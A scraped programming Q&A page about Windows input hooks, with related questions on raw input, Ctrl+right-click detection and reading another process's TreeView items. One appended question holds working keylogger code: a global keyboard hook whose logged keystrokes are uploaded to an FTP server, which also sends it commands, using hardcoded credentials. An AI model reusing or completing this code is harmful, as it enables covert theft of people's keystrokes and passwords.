how to get the PID of process which is triggering a mouse event in another process - events

I have 2 C++ applications, mouseEventCapture and mouseEventTrigger. The job of mouseEventTrigger is to trigger an mouse event and the job of mouseEventCapture is to capture all the mouse activities.
My mouseEventCapture is capturing the mouse events triggered by mouseEventTrigger.
Now the next step in my mouseEventCapture is to capture the pid of the process which is triggering the mouse event(ie I need to capture the PID of mouseEventTrigger in my mouseEventCapture application).
I'm unable to figure out how this can be done in C++. Can anyone please help me out with this?
mouseEventTrigger.cpp
#include <Windows.h>
int main()
{
int x = 3; int y = 4;
SetCursorPos(x, y); //set cursor position
mouse_event(MOUSEEVENTF_MOVE, x, y, 0, 0);
return 0;
}
mouseEventCapture.cpp
#include <iostream>
#include <Windows.h>
HINSTANCE hInst = NULL;
DWORD dwThreadId = 0;
HWND hwnd = NULL;
LRESULT CALLBACK MouseHook(int nCode, WPARAM wParam, LPARAM lParam)
{
switch (wParam)
{
case WM_MOUSEMOVE:
case WM_SETCURSOR:
std::cout << "Mouse moved !!" << " " << point.x << " " << point.y << std::endl ;
break;
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
std::cout << "Mouse left button clicked !!" << std::endl;
break;
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
std::cout << "Mouse right button clicked !!" << std::endl;
break;
default:
break;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main()
{
std::cout << "Tracking mouse move!\n";
HHOOK mouse = SetWindowsHookEx(WH_MOUSE_LL, &MouseHook, hInst, dwThreadId);
MSG message;
while (GetMessage(&message, hwnd, NULL, NULL) > 0)
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(mouse);
return 0;
}

Related

Can a RAWINPUT struct recieved from the OS have both a RI_MOUSE_LEFT_BUTTON_DOWN and RI_MOUSE_LEFT_BUTTON_UP?

I'm trying to make an input library and I need to know if I have to account for the possibility that a person quickly clicking a mouse button can generate a RAWINPUT with both a RI_MOUSE_LEFT_BUTTON_DOWN and RI_MOUSE_LEFT_BUTTON_UP in it. The documentation seems to indicate that this might be possible, stating "The transition state of the mouse buttons. This member can be one or more of the following values."
EDIT:
I created a small program to feedback all the input packets from mouse and keyboard and a small autohotkey script to attempt to send Left button down and up at the same time, I was unable to create a packet with both left click up and down at it simultaneously.
Below is the C++ code and AHK script I used to test:
C++ code:
#include <windows.h>
#include <iostream>
using namespace std;
char mc[] = "mainclass";
int once = 1;
LRESULT CALLBACK mainproc(HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam)
{
RAWINPUT fdsa;
int size = 48;
switch(message)
{
case WM_DESTROY:
PostQuitMessage(0);
break;
case WM_INPUT:
GetRawInputData((HRAWINPUT)lparam, RID_INPUT, &fdsa, &size, sizeof(RAWINPUTHEADER));
if(fdsa.header.dwType == RIM_TYPEMOUSE)
{
cout << "mouse X = " << fdsa.data.mouse.lLastX << "\nmouse Y = " << fdsa.data.mouse.lLastY << "\nmouse buttons = " << fdsa.data.mouse.usButtonFlags << endl << endl;
}
else if(fdsa.header.dwType == RIM_TYPEKEYBOARD)
{
cout << "vkey = " << fdsa.data.keyboard.VKey << " & ";
if((fdsa.data.keyboard.Flags&1)==1)
cout << "up\n\n";
else
cout << "down\n\n";
}
break;
default:
return DefWindowProc(hwnd, message, wparam, lparam);
}
return 0;
}
int WINAPI WinMain(HINSTANCE hthisinst, HINSTANCE hprevinst, LPSTR lpszArgument, int nCmdShow)
{
HWND mainwin;
MSG messages;
WNDCLASSEX wc;
wc.hInstance = hthisinst;
wc.lpszClassName = mc;
wc.lpfnWndProc = mainproc;
wc.style = CS_DBLCLKS;
wc.cbSize = sizeof(WNDCLASSEX);
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.lpszMenuName = NULL;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
if(!RegisterClassEx(&wc))
return 0;
mainwin = CreateWindowEx(0, mc, "main window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 544, 375, HWND_DESKTOP, NULL, hthisinst, NULL);
RAWINPUTDEVICE Rid[2];
Rid[0].usUsagePage = 0x01;
Rid[0].usUsage = 0x02;
Rid[0].dwFlags = 0x100;
Rid[0].hwndTarget = mainwin;
Rid[1].usUsagePage = 0x01;
Rid[1].usUsage = 0x06;
Rid[1].dwFlags = 0x100;
Rid[1].hwndTarget = mainwin;
if(RegisterRawInputDevices(Rid, 2, sizeof(Rid[0])) == FALSE)
{
cout << "rawinput registration failed.\n";
return 3;
}
while(GetMessage(&messages, NULL, 0, 0))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
return messages.wParam;
}
ahk script:
$f::
Sendinput {LButton Down}{LButton up}
Sendinput {LButton up}{LButton down}
return
I also tried
$f::
Sendinput {LButton Down}{RButton Down}
Sendinput {LButton up}{RButton up}
Unfortunately the second script didn't cause both keys to be pressed or released at the same time, which I can guarantee is possible because I've done it manually and verified it with the c++ program.

Windows API Mousehook , Capture rightmousebutton + Ctrl (WM_RBUTTONDOWN + MK_CONTROL) clicked togather

initially i was able to print something when i pressed only right mouse button using
if (wParam == WM_RBUTTONDOWN)but now , i want the same effect, i want to print something when right mouse button + Ctrl key is pressed. how can i acheive that ?
i have tried this
LRESULT CALLBACK MainWindow::mouseProc(int Code, WPARAM wParam, LPARAM lParam)
{
auto& ms = *(const MSLLHOOKSTRUCT*)lParam;
MSLLHOOKSTRUCT* pMouseStruct = (MSLLHOOKSTRUCT*)lParam;
if (pMouseStruct != nullptr)
{
if (wParam == WM_RBUTTONDOWN & MK_CONTROL) // Here, i added MK_CONTROL but it doesn't work
{
qDebug() << "Print something when Right mouse button and Ctrl button is pressed togather";
}
}
return CallNextHookEx(NULL, Code, wParam, lParam);
}
UPDATE
when i want to try the case where only Ctrl is pressed and it should print something, it still doesn't work
LRESULT CALLBACK MainWindow::mouseProc(int Code, WPARAM wParam, LPARAM lParam)
{
auto& ms = *(const MSLLHOOKSTRUCT*)lParam;
MSLLHOOKSTRUCT* pMouseStruct = (MSLLHOOKSTRUCT*)lParam;
if (pMouseStruct != nullptr)
{
if (wParam == MK_CONTROL) // Here, i added only MK_CONTROL but it doesn't work
{
qDebug() << "Print something when Ctrl button is pressed ";
}
}
return CallNextHookEx(NULL, Code, wParam, lParam);
}
what am i missing here ?
First of all, if you want to capture the right button + ctrl, you can check the state of the Ctrl key (whether it is pressed) when WM_RBUTTONDOWN is detected.
LRESULT CALLBACK mouseProc(int Code, WPARAM wParam, LPARAM lParam)
{
auto& ms = *(const MSLLHOOKSTRUCT*)lParam;
MSLLHOOKSTRUCT* pMouseStruct = (MSLLHOOKSTRUCT*)lParam;
if (pMouseStruct != nullptr)
{
if (wParam == WM_RBUTTONDOWN && (GetAsyncKeyState(VK_LCONTROL)&0x8000)) //Left CONTROL key as example
{
std::cout << "ctrl + rbutton";
}
}
return CallNextHookEx(NULL, Code, wParam, lParam);
}
If you want to use a keyboard hook to hook only "Ctrl":
LRESULT CALLBACK keyboardProc(int Code, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT* pKeyboardStruct = (KBDLLHOOKSTRUCT*)lParam;
if (pKeyboardStruct != nullptr)
{
if (pKeyboardStruct->vkCode == VK_LCONTROL)
{
if(wParam == WM_KEYDOWN)
std::cout << " -ctrl- ";
}
}
return CallNextHookEx(NULL, Code, wParam, lParam);
}
void main(void)
{
HHOOK hmouse = SetWindowsHookEx(WH_MOUSE_LL, mouseProc, hInstance, 0);
HHOOK hkeyboard = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardProc, hInstance, 0);
MSG msg;
while (GetMessage(&msg, 0, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hmouse);
UnhookWindowsHookEx(hkeyboard);
return;
};

How to properly loop through / get text / select SysTreeView32 window item

I've spent a couple of hours pouring through Microsoft's Dev Center; however, I can't seem to figure out how to do the following two things:
Cycle through and view the names of each program under the 'Expert Advisors' section of the 'Navigator' sub window (for example 'MACD Sample' in screenshot below)
select and double click the program (e.g. 'MACD Sample').
Winspector(Left) | Application(Right)
My main problem seems to be that I don't know how to properly use HTREEITEM to access the information. I noticed there is a function ListView_GetItemText, but I've been unable to find a TreeView_GetItemText or equivalent function.
Any help would be greatly appreciated.
Below is the main function of my program:
int _tmain(int argc, _TCHAR* argv[])
{
wcout << TEXT("Enumerating Windows...") << endl;
HWND handle = NULL;
//--- Success: gets application handle
bool success1 = getHandle(L"MetaTrader", L"20", handle);
cout << "Success1: " << success1 << endl;
cout << "Result1: " << handle << endl;
//--- Success: gets navigator window
bool success2 = getChildHandle(handle, L"", L"Navigator", handle);
cout << "Success2: " << success2 << endl;
cout << "Result2: " << handle << endl;
//--- Success: gets "SysTreeView32" handle
handle = FindWindowEx(handle, 0, L"SysTreeView32", L"");
cout << "Result3: " << handle << endl;
//--- Success: get "SysTreeView32" root nod
HTREEITEM root = TreeView_GetNextItem(handle, NULL, TVGN_ROOT);
cout << "root: " << root << endl;
return 0;
}
The result of running the code seems to be working properly
Entire code for completeness:
// MT4Terminal-test.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#pragma once
#include "targetver.h"
#include <iostream>
#include <map>
#include <string>
namespace std {
#if defined _UNICODE || defined UNICODE
typedef wstring tstring;
#else
typedef string tstring;
#endif
}
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <psapi.h>
#include <Windows.h>
#include <Commctrl.h>
#include <windows.system.h>
using namespace std;
HWND glb_handle;
tstring glb_searchWindowTitle;
tstring glb_seachClassName;
BOOL CALLBACK enumWindowsChildProc(
__in HWND hWnd,
__in LPARAM lParam
) {
return TRUE;
}
BOOL CALLBACK enumWindowsProc(
__in HWND hWnd,
__in LPARAM lParam
) {
int length = ::GetWindowTextLength(hWnd);
if (0 == length) return TRUE;
TCHAR* bufferA;
bufferA = new TCHAR[length + 1];
memset(bufferA, 0, (length + 1) * sizeof(TCHAR));
TCHAR* bufferB;
bufferB = new TCHAR[100];
memset(bufferB, 0, 100 * sizeof(TCHAR));
GetWindowText(hWnd, bufferA, length + 1);
GetClassName(hWnd, bufferB, 100);
tstring windowTitle = tstring(bufferA);
tstring className = tstring(bufferB);
delete bufferA;
delete bufferB;
if (windowTitle.find(glb_searchWindowTitle) < string::npos &&
className.find(glb_seachClassName) < string::npos)
glb_handle = hWnd;
wcout.clear();
return TRUE;
}
bool getHandle(wstring searchClassName, wstring searchWindowTitle, HWND &handle)
{
handle = NULL;
glb_handle = NULL;
glb_searchWindowTitle = searchWindowTitle;
glb_seachClassName = searchClassName;
BOOL enumeratingWindowsSucceeded = EnumWindows(enumWindowsProc, NULL);
if (enumeratingWindowsSucceeded)
{
if (glb_handle != NULL)
{
handle = glb_handle;
return true;
}
}
glb_handle = NULL;
glb_searchWindowTitle = L"";
glb_seachClassName = L"";
return false;
}
bool getChildHandle(HWND parent_handle, wstring searchClassName, wstring searchWindowTitle, HWND &handle)
{
handle = NULL;
glb_handle = NULL;
glb_searchWindowTitle = searchWindowTitle;
glb_seachClassName = searchClassName;
BOOL enumeratingWindowsSucceeded = EnumChildWindows(parent_handle, enumWindowsProc, NULL);
if (enumeratingWindowsSucceeded)
{
if (glb_handle != NULL)
{
handle = glb_handle;
return true;
}
}
glb_handle = NULL;
glb_searchWindowTitle = L"";
glb_seachClassName = L"";
return false;
}
int _tmain(int argc, _TCHAR* argv[])
{
wcout << TEXT("Enumerating Windows...") << endl;
HWND handle = NULL;
//--- Success: gets application handle
bool success1 = getHandle(L"MetaTrader", L"20", handle);
cout << "Success1: " << success1 << endl;
cout << "Result1: " << handle << endl;
//--- Success: gets navigator window
bool success2 = getChildHandle(handle, L"", L"Navigator", handle);
cout << "Success2: " << success2 << endl;
cout << "Result2: " << handle << endl;
//--- Success: gets "SysTreeView32" handle
handle = FindWindowEx(handle, 0, L"SysTreeView32", L"");
cout << "Result3: " << handle << endl;
//--- Success: get "SysTreeView32" root nod
HTREEITEM root = TreeView_GetNextItem(handle, NULL, TVGN_ROOT);
cout << "root: " << root << endl;
return 0;
}
Selecting a SysTreeView32 item
(For clarification, when I say selecting a SysTreeView32 item, I'm referring to simulating a double-click operation on a tree node -- similar to how one can double click an icon on their Desktop to open a program)
After looking at the documentation, I'm convinced:
There doesn't exist an explicit message that will simulate double-clicking a node on a tree using the handle to the tree-view item
A possible work around would be to send the TVM_GETITEMRECT message to get the coordinates of the tree node, and then use SendInput() to send a click
Are the above two statements correct?
After implementing Barmak Shemirani's code, I tried to implement #2 above using the same methodology as in Barmak Shemirani's fix. Specifically, I attempted to allocate a Rect struct in the other Application program's memory with VirtualAllocEx(), call the TreeView_GetItemRect macro in my program with a pointer to the rectangle, and read the results with ReadProcessMemory().
However, my program crashes when I call TreeView_GetItemRect(), while passing the pointer to the Rect in the other Apps memory. Most likely, because TreeView_GetItemRect() is trying to write the Rect coordinates to an invalid memory address. This caused me to realize that I don't really understand what the macro is doing:
Hence, checking out the source, I found:
#define HELLO
#define TV_FIRST 0x1100 // TreeView messages
#define TVM_GETITEMRECT (TV_FIRST + 4)
#define TreeView_GetItemRect(hwnd, hitem, prc, code) \
(*(HTREEITEM *)(prc) = (hitem), (BOOL)SNDMSG((hwnd), TVM_GETITEMRECT, (WPARAM)(code), (LPARAM)(RECT *)(prc)))
I mostly understand everything except for the part before the SNDMSG function:
(*(HTREEITEM *)(prc) = (hitem),
What exactly does the above statement mean? Is this casting the rectangle pointer that I pass to a HTREEITEM pointer, which is somehow causing the program to crash?
Screenshot of console freezing
New code
int _tmain(int argc, _TCHAR* argv[])
{
wcout << TEXT("Enumerating Windows...") << endl;
HWND handle = NULL;
//--- Success: gets application handle
bool success1 = getHandle(L"MetaTrader", L"20", handle);
//--- Success: gets navigator window
bool success2 = getChildHandle(handle, L"", L"Navigator", handle);
//--- Success: gets "SysTreeView32" handle
handle = FindWindowEx(handle, 0, L"SysTreeView32", L"");
//--- Success: get "SysTreeView32" root nod
HTREEITEM root = TreeView_GetNextItem(handle, NULL, TVGN_ROOT);
unsigned long pid;
GetWindowThreadProcessId(handle, &pid);
HANDLE process = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE |
PROCESS_QUERY_INFORMATION, FALSE, pid);
TVITEM item, *_item;
wchar_t buf[CHAR_BUF_LEN];
wchar_t *_buf;
memset(buf, 0, sizeof(buf) / sizeof(buf[0]));
_item = (TVITEM*)VirtualAllocEx(process, NULL, sizeof(TVITEM), MEM_COMMIT, PAGE_READWRITE);
_buf = (wchar_t*)VirtualAllocEx(process, NULL, CHAR_BUF_LEN, MEM_COMMIT, PAGE_READWRITE);
item.cchTextMax = CHAR_BUF_LEN;
item.pszText = _buf;
item.mask = TVIF_TEXT;
//--- find Experts Advisors branch in tree
HTREEITEM node = TreeView_GetNextItem(handle, root, TVGN_CHILD);
node = TreeView_GetNextItem(handle, node, TVGN_NEXT);
node = TreeView_GetNextItem(handle, node, TVGN_NEXT);
RECT rect, *_rect;
_rect = (RECT*)VirtualAllocEx(process, NULL, sizeof(RECT), MEM_COMMIT, PAGE_READWRITE);
rect = { 0 };
WriteProcessMemory(process, _rect, &rect, sizeof(RECT), NULL);
//--- step into Expert Advisors
node = TreeView_GetNextItem(handle, node, TVGN_CHILD);
//--- target program to open
wchar_t ea_name[] = L"MACD Sample";
while (node != NULL)
{
ZeroMemory(buf, CHAR_BUF_LEN);
item.hItem = node;
//Binds item and _item
WriteProcessMemory(process, _item, &item, sizeof(TVITEM), NULL);
TreeView_GetItem(handle, _item);
//Read buffer back to this program's process memory
ReadProcessMemory(process, _buf, buf, CHAR_BUF_LEN, NULL);
//Print program name
wcout << buf << endl;
if (wcscmp(ea_name, buf) == 0)
{
cout << "Found target program: " << ea_name << endl;
cout << "get rectangle coordinates: " << TreeView_GetItemRect(handle, node, _rect, TRUE) << endl;
}
node = TreeView_GetNextItem(handle, node, TVGN_NEXT);
}
VirtualFreeEx(process, _item, 0, MEM_RELEASE);
VirtualFreeEx(process, _buf, 0, MEM_RELEASE);
VirtualFreeEx(process, _rect, 0, MEM_RELEASE);
return 0;
}
This is the method you would normally use to read a TreeView item's text:
wchar_t buf[100];
memset(buf, 0, sizeof(buf));
TVITEM item = { 0 };
item.hItem = hitem;
item.cchTextMax = 100;
item.pszText = buf;
item.mask = TVIF_TEXT;
TreeView_GetItem(hwnd, &item);
This will not work in your program. TreeView_GetItem is a macro based on SendMessage, it copies data through LPARAM parameter. But this exchange is not allowed between different processes.
You could spend hours, possibly days, trying to hack it
(See this example)
Or you may want to research and see if the target program supports UI Automation
Edit, here is example to get HTREEITEM text. This won't work unless:
caller and target program are both 32-bit, or both 64-bit
caller and target program are both unicode
If target program is ANSI then change this function to ANSI.
HTREEITEM hitem = TreeView_GetSelection(hwndTree);
if (!hitem)
debug << "!hitem\n";
const int buflen = 512;
DWORD pid;
GetWindowThreadProcessId(hwndTree, &pid);
HANDLE process = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE
| PROCESS_QUERY_INFORMATION, FALSE, pid);
TVITEMEX* ptv = (TVITEMEX*)VirtualAllocEx(process, NULL, sizeof(TVITEMEX),
MEM_COMMIT, PAGE_READWRITE);
wchar_t* pbuf = (wchar_t*)VirtualAllocEx(process, NULL, buflen,
MEM_COMMIT, PAGE_READWRITE);
TVITEMEX tv = { 0 };
tv.hItem = hitem;
tv.cchTextMax = buflen / 2;
tv.pszText = pbuf;
tv.mask = TVIF_TEXT | TVIF_HANDLE;
WriteProcessMemory(process, ptv, &tv, sizeof(TVITEMEX), NULL);
if (SendMessageW(hwndTree, TVM_GETITEM, 0, (LPARAM)(TVITEMEX*)(ptv)))
{
wchar_t buf[buflen / 2];
ReadProcessMemory(process, pbuf, buf, buflen, 0);
debug << "Result:" << buf << "\n";
}
else
debug << "!SendMessageW\n";
VirtualFreeEx(process, ptv, 0, MEM_RELEASE);
VirtualFreeEx(process, pbuf, 0, MEM_RELEASE);
CloseHandle(process); //*** I forgot this line before
The most voted answer has solved your problem, but I'd like to add some comment on the statement:
(*(HTREEITEM *)(prc) = (hitem),
TVM_GETITEMRECT has explained that :
When sending this message, the lParam parameter contains the handle of the item that the rectangle is being retrieved for.
In macro TreeView_GetItemRect, prc will be replaced by _rect, which is allocated in other process. So the program crashed.
For your situation, you can replace the code:
TreeView_GetItemRect(handle, node, _rect, TRUE)
by:
RECT rect, *_rect;
_rect = (RECT*)VirtualAllocEx(process, NULL, sizeof(RECT), MEM_COMMIT, PAGE_READWRITE);
*(HTREEITEM*)&rect = node;
WriteProcessMemory(process, _rect, &rect, sizeof(RECT), NULL);
SendMessage(handle, TVM_GETITEMRECT, true, (LPARAM)_rect);

Wininet error 12003 ftpOpenFile

I am trying to write a file to a drivehq.com server. The file does not exist on local disk, nor on the ftp server, so does FtpOpenFile Create a file for me automatically?
I am getting error 12003 and I don't know what to do..
The Error Happens in case continue:
#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
#include <map>
#include <ctime>
using std::string;
using std::cout;
using std::cin;
using std::vector;
using std::map;
unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);
string gettime();
enum COMMAND{CONTINUE, PAUSE, KILL};
map<string, COMMAND> cmds;
DWORD err;
char error[4096];
string tempkeylog_buffer;
char ftpreadbuffer[1024]{};
vector<string> filetokens;
unsigned int threadid = 0;
DWORD numberread = 0, numberwritten = 0;
bool killswitch = true;
int main(){
cmds["CONTINUE"] = CONTINUE;
cmds["PAUSE"] = PAUSE;
cmds["KILL"] = KILL;
_beginthreadex(NULL, 0, &keylogthreadhook, NULL, 0, &threadid);
while(killswitch){
HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);
cout << GetLastError();
HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
cout << GetLastError();
HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ, FTP_TRANSFER_TYPE_ASCII, NULL);
//cout << GetLastError();
InternetReadFile(filehandle, ftpreadbuffer, 1024, &numberread);
//InternetWriteFile(filehandle, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError();
InternetCloseHandle(filehandle);
//InternetCloseHandle(ftpinstance);
//cout << ftpreadbuffer;
//cout << "\n" << numberread;
string temporarystr;
cout << ftpreadbuffer;
//cout <<reinterpret_cast<char *>(ftpreadbuffer);
for(int i = 0; ftpreadbuffer[i] != '.'; i++){
//cout << ftpreadbuffer[i];
if(ftpreadbuffer[i] == '\n'){
filetokens.push_back(temporarystr);
temporarystr.clear();
}
temporarystr.push_back(ftpreadbuffer[i]);
}
cout << filetokens[0].c_str() << filetokens[1].c_str();
cin.get();
map<string, COMMAND>::iterator i = cmds.find(filetokens[0].c_str());
switch(i->second){
case CONTINUE:{
// HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
//cout << GetLastError() << "\n";
string time = gettime();
time.append(".txt");
cout << time;
HINTERNET newftplog = FtpOpenFile(ftpinstance, time.c_str(),GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0);
cout << GetLastError() << "\n";
InternetWriteFile(newftplog, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError() << "\n";
InternetCloseHandle(newftplog);
InternetCloseHandle(ftpinstance);
cout << GetLastError() << "\n";
tempkeylog_buffer.clear();
cin.get();
Sleep(atoi(filetokens[1].c_str()));
//Upload ftp log to ftp server and sleep x seconds.
}break;
case PAUSE:{
Sleep(atoi(filetokens[1].c_str()));
//Pause the hooking thread, flip a switch so if pause remains the same we dont kill a non existant thread, and keep looping
}break;
case KILL:{
//return 0 or killswitch = false;
}break;
}
}
return 0;
}
unsigned int __stdcall keylogthreadhook(void *){
HINSTANCE hinst = GetModuleHandle(NULL);
HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinst, 0);
MSG msg;
//MessageBox(NULL, "entered", NULL, NULL);
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhkLowLevelKybd);
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
PKBDLLHOOKSTRUCT structdll = (PKBDLLHOOKSTRUCT) lParam;
switch(nCode){
case HC_ACTION:
switch(wParam){
case WM_KEYDOWN:{
//How should i change the following lines?
char buffer[256]{};
GetKeyNameText((MapVirtualKey(structdll->vkCode, 0)<<16), buffer, 50);
//use this?: ToAscii(structdll->vkCode, structdll->scanCode, NULL, myword, 0);
tempkeylog_buffer.append(buffer);
}
break;
}
break;
}
return CallNextHookEx(NULL, nCode, wParam,lParam);
}
string gettime(){
time_t rawtime;
time ( &rawtime );
string s = ctime(&rawtime);
//cut off \n at the end of string (why the fuck do they even do that?)
s = s.substr(0, s.size()-1);
return s;
}

Windows hook gets called only once

Good afternoon. I'm writing a global mouse hook. Everything seems to work just fine except that the hook is called only for the first mouse event.
Some code:
// Dll defined function
extern "C" Q_DECL_EXPORT LRESULT MouseProc(int code, WPARAM wParam, LPARAM lParam)
{
qDebug() << "MouseProc";
return TRUE;
}
// Application code
...
hLib = LoadLibrary(TEXT("ServerHook.dll"));
HOOKPROC hookAddr = (HOOKPROC)GetProcAddress(hLib, "MouseProc");
if (!hookAddr) {
qDebug() << "Invalid hook proc " << GetLastError();
}
if ((WinInputHook::hookHandle = SetWindowsHookEx(
WH_MOUSE, hookAddr, hLib, 0))
== NULL) {
qDebug() << "Invalid hook handle " << GetLastError();
}
...
The hooking you'r installing (WH_KEYBOARD) "installs a hook procedure that monitors keystroke messages" and not the mouse

Resources